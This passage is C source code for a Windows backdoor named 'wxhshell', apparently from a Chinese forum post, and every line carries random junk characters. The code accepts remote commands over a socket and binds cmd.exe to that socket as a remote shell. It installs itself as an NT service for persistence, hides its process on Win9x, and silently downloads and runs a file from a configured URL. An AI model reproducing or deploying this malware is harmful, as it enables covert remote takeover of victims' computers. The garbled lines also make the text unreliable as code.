  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); tkG0xRH  
  } CFW\  
  else { }Ot I8;>  
G$5N8k[2  
    switch(cmd[0]) { O>E2G]K]\  
  $hkMJ),T~  
  // 帮助 ~)zoIM\  
  case '?': { o*_O1P  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); CZ/bO#~  
    break; S[b)`Wi D  
  } )m-l&UK  
  // 安装 6!,Am^uXM  
  case 'i': { JYbE(&l%de  
    if(Install()) 0RLyAC|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _/W[=c   
    else 6T}bD[h4?  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "rjqDpH  
    break; %r<c>sFJN  
    } Z(S=2r.  
  // 卸载 }+L!r53g6  
  case 'r': { +q==Y/z  
    if(Uninstall()) wXc"Car)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ERW>G {+  
    else 93Yo }6>  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); fwojFS.K  
    break; 5!55v  
    } \;?=h  
  // 显示 wxhshell 所在路径 H(^O{JC]y!  
  case 'p': { rpgr5>  
    char svExeFile[MAX_PATH]; 5dV Sir  
    strcpy(svExeFile,"\n\r"); brkR,(#L3  
      strcat(svExeFile,ExeFile); 1`tE Hu.  
        send(wsh,svExeFile,strlen(svExeFile),0); |EJ&s393&  
    break; ?Jlz{msI  
    } Ty"OJ  
  // 重启 D&{ 7Av  
  case 'b': { s<I[)FQVr  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); XIu3n9g^#  
    if(Boot(REBOOT)) TU&t 1_6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %"Y7 b2pPa  
    else { jhWNMu  
    closesocket(wsh); zFjG20w%3g  
    ExitThread(0); 8?GS:+  
    } P&/PCSf  
    break; No)v&P%  
    } *-timVlaE  
  // 关机 yqF$J"=|  
  case 'd': { nb:J"  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Ul?Ha{ W  
    if(Boot(SHUTDOWN)) A2o ;YyF  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); S8O^^jJq;  
    else { .wrNRU7s  
    closesocket(wsh); =a`l1zn8=  
    ExitThread(0); rSIb1zJ  
    }  8@)/a  
    break; u"K-mr#$[o  
    } ,`/J1(\ nd  
  // 获取shell O[3AI^2  
  case 's': { t6;Ln().Hw  
    CmdShell(wsh);  `x"0  
    closesocket(wsh); `0rEV _$  
    ExitThread(0); J}7iXTh  
    break; \o^M,yI  
  } eH2.,wY1  
  // 退出 %d+:0.+`n  
  case 'x': { IB x?MU#.  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); +igFIoHTM  
    CloseIt(wsh); td@F%*  
    break; R>"E Xq  
    } " }@QL`  
  // 离开 z.g'8#@  
  case 'q': { :\Z;FA@g(g  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); .`!|^h%0  
    closesocket(wsh); C#X0Cn0ln  
    WSACleanup(); 5Qp5JMK  
    exit(1); b|T}mn  
    break; ;l_%;O5  
        } ,CguY/y  
  } H&6 5X  
  } . `lcxC  
x.r~e)x=  
  // 提示信息 t;9f7~  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [R j=k)aBm  
} vrsO]ctI  
  } D"F5-s7  
byM/LE7)  
  return; \oPW  
} Y%$57,Bu n  
WlVC0&  
// shell模块句柄 wO!k|7:Z  
int CmdShell(SOCKET sock) cpB$bC](  
{ M:c^ [9)y  
STARTUPINFO si; WKZ9i2hcdf  
ZeroMemory(&si,sizeof(si)); `LL#Aia  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 7-+X -Y?  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; "k\W2,q[  
PROCESS_INFORMATION ProcessInfo; VrhG=CK  
char cmdline[]="cmd"; b1>%%#  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); >R/^|hnJ  
  return 0; ARW|wXhyf  
} -^8gZk/(W  
0fnd9`N!0  
// 自身启动模式  OvU]|4h  
int StartFromService(void) -IJt( X|  
{ @B$ Y`eK\  
typedef struct E7+ y W  
{ 8 vB~1tl;  
  DWORD ExitStatus; pB{QO4q n  
  DWORD PebBaseAddress; z2og&|uT  
  DWORD AffinityMask; pYJv|`+  
  DWORD BasePriority; q>w@W:tZ  
  ULONG UniqueProcessId; #rzq9}9tB  
  ULONG InheritedFromUniqueProcessId; tv)x(MX  
}   PROCESS_BASIC_INFORMATION; v\:>} <gc  
>Vc_.dR)E  
PROCNTQSIP NtQueryInformationProcess; :L`  
Zi/l.=9n  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 0@1AH<  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; q@P5c  
wo84V!"A  
  HANDLE             hProcess; #KZ- "$  
  PROCESS_BASIC_INFORMATION pbi; Wx~ 0_P  
uk_?2?>-5  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); \`r5tQr  
  if(NULL == hInst ) return 0; BCF- lrZ&  
gNl@T  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); aT"q}UTK  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); = LuH:VM&  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); yowvq4e  
JP9eNc[  
  if (!NtQueryInformationProcess) return 0; Z~$=V:EA?  
wQ[~7 ,o  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); b mZRCvW>A  
  if(!hProcess) return 0; 5bGV91  
{Q^P<  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ]*U\ gm%  
DM{ 7x77  
  CloseHandle(hProcess); AV AF!Z  
D0=D8P}H:  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); =ji p* E^  
if(hProcess==NULL) return 0; ,JRYG<O_T  
-]\%a=]  
HMODULE hMod; L.lmbxn  
char procName[255]; R3wK@D  
unsigned long cbNeeded; X!,P] G  
!Pt|Hk dr  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); }S3m wp<Y  
^-PlTmT  
  CloseHandle(hProcess); sN 1x|pkN  
 =w0Rq~  
if(strstr(procName,"services")) return 1; // 以服务启动 gSK (BP|  
83:m 7;  
  return 0; // 注册表启动 }Gr5TDiV0\  
} !)ey~Suh  
Nqp%Z7G  
// 主模块 p0? X R  
int StartWxhshell(LPSTR lpCmdLine) =&xamA)  
{ d~uK/R-KD  
  SOCKET wsl; -ZH]i}$  
BOOL val=TRUE; U/Z!c\r  
  int port=0; jE2k\\<a  
  struct sockaddr_in door; |HI =ykfI  
{w}PV5<  
  if(wscfg.ws_autoins) Install(); q .nsGbl  
[3;J,P=&  
port=atoi(lpCmdLine); m!a<\0^  
%FLz}QW*  
if(port<=0) port=wscfg.ws_port; W}+Q!T=  
O[3J Px  
  WSADATA data; &6FRw0GX  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Fe%Q8RIh_  
TZi%,yK  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   {_|~G|Z  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); /"tVOv#  
  door.sin_family = AF_INET; $}2m%$vJO  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); o5mt7/5[i  
  door.sin_port = htons(port); lyfLkBF  
"T?%4^:g  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { cIK-VmO  
closesocket(wsl); 7EOn4I2@[  
return 1; d%VGfSrKq  
} W@AZ<(RI:  
G+ Y`65  
  if(listen(wsl,2) == INVALID_SOCKET) {  :D} xT]  
closesocket(wsl); V /$qD  
return 1; 8V`r*:\  
} oat*ORL  
  Wxhshell(wsl); 'g^;_=^G  
  WSACleanup(); 0wB ?U~  
BQ,]]}e43z  
return 0; p82&X+v/p  
a"EP`  
} 8#2PJHl;  
+dS e" W9  
// 以NT服务方式启动 KR%p*Nh+C  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) HviL4iO  
{ >&RpfE[  
DWORD   status = 0; \gki!!HQ  
  DWORD   specificError = 0xfffffff; Nj*J~&6G  
U: ~O^  
  serviceStatus.dwServiceType     = SERVICE_WIN32; !FZb3U@  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 5@P2Z]Q  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; \;I%>yOIu  
  serviceStatus.dwWin32ExitCode     = 0; $dFEC}1t  
  serviceStatus.dwServiceSpecificExitCode = 0; ?%i|].<-'  
  serviceStatus.dwCheckPoint       = 0; Cd#[b)d ?^  
  serviceStatus.dwWaitHint       = 0; FGG Fi(  
.T L0cfTo  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); bqFGDmu6'  
  if (hServiceStatusHandle==0) return; 66fvS}x  
TjncW/\Z  
status = GetLastError(); Dsw(ti`@  
  if (status!=NO_ERROR) ])'22sY  
{ 2Prr:k  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; .AH#D}m  
    serviceStatus.dwCheckPoint       = 0; ;t:B:4r(j  
    serviceStatus.dwWaitHint       = 0; "639oB  
    serviceStatus.dwWin32ExitCode     = status; ?lnX."eAdB  
    serviceStatus.dwServiceSpecificExitCode = specificError; us"SM\X#  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0qnToV;  
    return; hvQOwA;e  
  } \,!FL))yC  
29z+<?K{  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; -@Mr!!t?N  
  serviceStatus.dwCheckPoint       = 0; fBR,Oneo  
  serviceStatus.dwWaitHint       = 0; I{JU<A,&  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 8GN0487H  
} @ >%I\  
&=nwb4  
// 处理NT服务事件,比如:启动、停止 fJn;|'H!  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ;3h[=hyS  
{ D!Owm&We  
switch(fdwControl) Ry,_ %j3  
{ aU<0<Dx  
case SERVICE_CONTROL_STOP: ]BP"$rs  
  serviceStatus.dwWin32ExitCode = 0; F]N9ZWn /  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; >#Y8#-$zc  
  serviceStatus.dwCheckPoint   = 0; %g^dB M#  
  serviceStatus.dwWaitHint     = 0; vY7C!O/y_k  
  { k=Pu4:RF  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); $^INl0Pg  
  } V?kJYf(<  
  return; D*|h c  
case SERVICE_CONTROL_PAUSE: Mou>|U 1e"  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; |#^u%#'[2  
  break; XG@_Lcv*  
case SERVICE_CONTROL_CONTINUE: \vT0\1:|i  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 8RVNRV@g%  
  break; 2shr&M fp[  
case SERVICE_CONTROL_INTERROGATE: [a53H$`\5  
  break; ZtlF]k:MV  
}; 67+ K ?!,  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); gs_"H  
} Os?G_ziIB  
kn 5q1^  
// 标准应用程序主函数 m4<8v  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) usZmf=p-r  
{ ,v4Z[ (  
ib/B!?/  
// 获取操作系统版本 w1KLQd:yq  
OsIsNt=GetOsVer(); bqJL@!T  
GetModuleFileName(NULL,ExeFile,MAX_PATH); y-cRqIM  
W( E!:  
  // 从命令行安装 f]^(|*6  
  if(strpbrk(lpCmdLine,"iI")) Install(); S7P](F=n#  
F[ N{7C3  
  // 下载执行文件 sI, T"D?  
if(wscfg.ws_downexe) { YC - -&66  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) , b ,`;I  
  WinExec(wscfg.ws_filenam,SW_HIDE); 1`Cr1pH  
} Q!7Er  
l]%_D*<Y  
if(!OsIsNt) { b7E= u0  
// 如果时win9x,隐藏进程并且设置为注册表启动 Bcg\p}  
HideProc(); K 4j'e6  
StartWxhshell(lpCmdLine); x/ {  
} BT: =  
else 8c`g{ *z  
  if(StartFromService()) *LOpbf  
  // 以服务方式启动 S) Sv4Qm  
  StartServiceCtrlDispatcher(DispatchTable); .t.H(Q9  
else 3;Kv9i<~LE  
  // 普通方式启动 ,)hUL/r6  
  StartWxhshell(lpCmdLine); kLU$8L  
XE[~! >'  
return 0; {wih)XNY  
}
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只看该作者 1 发表于: 2006-10-10
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